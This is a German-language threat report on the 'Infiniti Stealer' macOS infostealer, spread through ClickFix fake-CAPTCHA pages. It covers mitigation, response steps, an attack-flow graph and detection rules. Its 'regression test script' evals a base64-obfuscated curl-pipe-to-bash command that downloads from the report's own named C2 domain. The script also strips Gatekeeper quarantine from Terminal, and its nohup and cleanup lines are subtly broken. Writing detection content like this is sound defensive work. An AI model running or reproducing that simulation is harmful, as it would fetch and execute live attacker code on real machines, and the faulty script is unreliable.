Infiniti Stealer: ein neuer macOS-Infostealer unter Verwendung von ClickFix und Python/Nuitka
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein neu identifizierter macOS-Infostealer namens Infiniti Stealer wurde entdeckt, der einen ClickFix-Social-Engineering-Köder benutzt, um Benutzer zu infizieren. Die Malware ist mit Nuitka erstellt, das Python-Code in ein natives Mach-O-Binärdatei umwandelt, wodurch die statische Inspektion erschwert wird. Nach der Ausführung stiehlt sie Anmeldedaten, Keychain-Daten, Kryptowährungs-Wallet-Dateien und andere sensible Informationen und exfiltriert die gesammelten Daten dann über HTTP-POST-Anfragen. Die Kampagne verlässt sich auch auf eine gefälschte CAPTCHA-Seite, die auf einer böswilligen Domain gehostet wird, um Opfer dazu zu bringen, einen schädlichen Bash-Befehl auszuführen.
Untersuchung
Forscher entdeckten die Nutzlast während der routinemäßigen Bedrohungssuche und verfolgten sie zunächst unter dem vorübergehenden Namen NukeChain, bevor das Panel des Bedrohungsakteurs das endgültige Branding als Infiniti Stealer enthüllte. Die Analyse zeigte einen dreistufigen Ablauf: ein Bash-Dropper, der über eine gefälschte CAPTCHA überliefert wird, ein mit Nuitka kompiliertes Lademodul und ein auf Python basierendes Stealermodul. Der Dropper platziert das Binär im /tmp, entfernt das Quarantäneattribut und startet es, während er C2-Details über Umgebungsvariablen übergibt. Die Endphase sammelt Daten von Browsern, Keychain, Wallets und entwicklerbezogenen Dateien, bevor sie an den vom Angreifer kontrollierten Server gesendet werden.
Minderung
Benutzer sollten niemals Befehle von unbekannten Websites kopieren und ausführen, insbesondere Seiten, die vorgeben, CAPTCHA-Herausforderungen zu überprüfen. Verteidiger sollten verdächtige Dateien in /tmp or ~/Library/LaunchAgentsinspizieren und entfernen, einen vertrauenswürdigen Anti-Malware-Scan durchführen und Passwörter für eventuell offengelegte Konten von einem sauberen System aus rotieren. Alle aktiven API-Tokens oder SSH-Schlüssel, die möglicherweise gesammelt wurden, sollten ebenfalls widerrufen werden.
Reaktion
Detektionsteams sollten nach dem Dropper-Skript und dem mit Nuitka kompilierten Binär suchen, indem sie Dateierstellungen in /tmp beobachten, die dem beschriebenen Namensmuster entsprechen. Alarme sollten bei der Ausführung des bösartigen Bash-Befehls sowie bei ausgehendem HTTP-POST-Verkehr zur identifizierten C2-Domain ausgelöst werden. Der Netzwerkzugang zu update-check.com and infiniti-stealer.com sollte blockiert werden. Eine hostbasierte forensische Überprüfung sollte dann gestohlene Anmeldeinformationen identifizieren und obligatorische Anmeldeinformationszurücksetzungen unterstützen.
"graph TB %% Class definitions section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef artifact fill:#cccccc classDef operator fill:#ff9900 %% Node definitions action_initial_access["<b>Action</b> – <b>T1204.004 User Execution: Malicious Copy and Paste</b><br/><b>Description</b>: Victim copies and pastes a malicious command into a terminal, leading to code execution."] class action_initial_access action artifact_captcha_page["<b>Artifact</b> – <b>Fake CAPTCHA page</b><br/>URL: update-check.com<br/>Provides copyu2011paste command to the victim."] class artifact_captcha_page artifact action_execution_dead_drop["<b>Action</b> – <b>T1102.001 Web Service: Dead Drop Resolver</b><br/><b>Description</b>: Uses a web service as a deadu2011drop to retrieve additional payloads."] class action_execution_dead_drop action process_curl_download["<b>Process</b> – <b>curl</b><br/><b>Command</b>: curl -sSfL … | bash<br/>Downloads stageu20111 Bash dropper."] class process_curl_download process artifact_temp_binary["<b>Artifact</b> – <b>Temporary binary</b><br/>Location: /tmp/<br/>Quarantine flag removed after download."] class artifact_temp_binary artifact action_defense_evasion_sandbox["<b>Action</b> – <b>T1497.002 User Activity Checks</b> & <b>T1497.003 Time Based Evasion</b><br/><b>Description</b>: Detects virtualization or analysis environments before proceeding."] class action_defense_evasion_sandbox action action_guardrails["<b>Action</b> – <b>T1480.002 Execution Guardrails: Mutual Exclusion</b><br/><b>Description</b>: Ensures only a single instance runs on the host."] class action_guardrails action action_file_deletion["<b>Action</b> – <b>T1070.004 File Deletion</b><br/><b>Description</b>: Deletes temporary files and logs after use."] class action_file_deletion action action_obfuscation["<b>Action</b> – <b>T1027.005 Obfuscated Files or Information</b><br/><b>Description</b>: Uses obfuscation to hide malicious payloads."] class action_obfuscation action action_collection_input_capture["<b>Action</b> – <b>T1056 Input Capture</b><br/><b>Description</b>: Captures browser credentials, keychain entries, crypto wallet data, and screenshots."] class action_collection_input_capture action artifact_collected_data["<b>Artifact</b> – <b>Collected Sensitive Data</b><br/>Browser credentials, keychain entries, crypto wallet files, screenshots."] class artifact_collected_data artifact action_exfiltration_alternative["<b>Action</b> – <b>T1048 Exfiltration Over Alternative Protocol</b><br/><b>Description</b>: Sends data via HTTP POST to a remote server."] class action_exfiltration_alternative action artifact_c2_domain["<b>Artifact</b> – <b>C2 Domain</b><br/>update-check.com"] class artifact_c2_domain artifact artifact_telegram_notification["<b>Artifact</b> – <b>Telegram Notification</b><br/>Attacker receives status updates via Telegram."] class artifact_telegram_notification artifact action_lateral_tool_transfer["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b><br/><b>Description</b>: Downloads additional payloads on demand for further compromise."] class action_lateral_tool_transfer action artifact_additional_payload["<b>Artifact</b> – <b>Additional Payloads</b><br/>Downloaded as needed for later stages."] class artifact_additional_payload artifact %% Connections showing flow action_initial_access –>|delivers| artifact_captcha_page artifact_captcha_page –>|triggers| action_execution_dead_drop action_execution_dead_drop –>|uses| process_curl_download process_curl_download –>|writes| artifact_temp_binary artifact_temp_binary –>|enables| action_defense_evasion_sandbox action_defense_evasion_sandbox –>|includes| action_guardrails action_defense_evasion_sandbox –>|includes| action_file_deletion action_defense_evasion_sandbox –>|includes| action_obfuscation action_file_deletion –>|removes| artifact_temp_binary action_obfuscation –>|obfuscates| artifact_temp_binary action_defense_evasion_sandbox –>|leads_to| action_collection_input_capture action_collection_input_capture –>|captures| artifact_collected_data artifact_collected_data –>|sent_via| action_exfiltration_alternative action_exfiltration_alternative –>|targets| artifact_c2_domain artifact_c2_domain –>|notifies| artifact_telegram_notification action_exfiltration_alternative –>|enables| action_lateral_tool_transfer action_lateral_tool_transfer –>|downloads| artifact_additional_payload "
Angriffsflüss
Erkennungen
Mögliche Tarnung zur Umgehung von MacOS Gatekeeper (über cmdline)
Anzeigen
Mögliche Manipulation von Base64-codierten Strings [MacOS] (über cmdline)
Anzeigen
Verdächtiger Curl-Ausführungsversuch [MacOS] (über cmdline)
Anzeigen
IOCs (HashMd5) zur Erkennung: Infiniti Stealer: ein neuer macOS-Infostealer, der ClickFix und Python/Nuitka verwendet
Anzeigen
IOCs (HashSha256) zur Erkennung: Infiniti Stealer: ein neuer macOS-Infostealer, der ClickFix und Python/Nuitka verwendet
Anzeigen
Erkennung der Infiniti Stealer-Infektion über Terminalbefehle [Linux-Prozesserstellung]
Anzeigen
Simulationsausführung
Voraussetzung: Die Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.
Angriffs-Narrativ & Befehle
Ein Angreifer liefert einen Phishing-Link, der, wenn er auf einem macOS-Arbeitsplatz geöffnet wird, den folgenden One-Liner im Terminal ausführt. Der Befehl:
- Lädt eine Base64-codierte URL (den Payload-Host) über
curl -sSfL. - Dekodiert den Base64-String, um die tatsächliche HTTPS-URL zu enthüllen.
- Führt das heruntergeladene Skript mit
bash. - aus unter
nohupum es am Leben zu halten, nachdem das Terminal geschlossen wurde. - Entfernt das Quarantäne-Attribut (
xattr -dr com.apple.quarantine), um Gatekeeper zu umgehen.
Diese Schritte erzeugen die genauen Befehlszeilenfragmente, auf die die Sigma-Regel wartet, und lösen damit den erwarteten Alarm aus.
Regressionstest-Skript
#!/usr/bin/env bash
# ------------------------------------------------------------
# Infiniti Stealer-Infectionssimulation (macOS)
# ------------------------------------------------------------
# 1. Den böswilligen One-Liner erstellen (genau wie die Regel es erwartet)
MALICIOUS_CMD="bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))"
# 2. Optionale Persistenzhelfer (in der Erkennung enthalten)
MALICIOUS_CMD+=" && nohup bash -c "$MALICIOUS_CMD" >/dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"
# 3. Den Befehl ausführen
eval "$MALICIOUS_CMD"
# 4. Ein paar Sekunden warten, um die SIEM-Erfassung zu ermöglichen
sleep 5
# 5. Einen Marker zur manuellen Überprüfung ausgeben
echo ">>> Simulation ausgeführt – Überwachen Sie SIEM auf Alarm <<<"
Bereinigungskommandos
#!/usr/bin/env bash
# ------------------------------------------------------------
# Bereinigung nach Infiniti Stealer-Simulation
# ------------------------------------------------------------
# Alle im Hintergrund laufenden nohup-Prozesse beenden, die durch die Simulation gestartet wurden
pkill -f "bash <(curl -sSfL"
# Alle temporären Dateien entfernen, die möglicherweise erstellt wurden
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)
# Quarantäne-Attribut am Terminal wiederherstellen (optional, zur Hygiene)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true
echo "Bereinigung abgeschlossen."
Ende des Berichts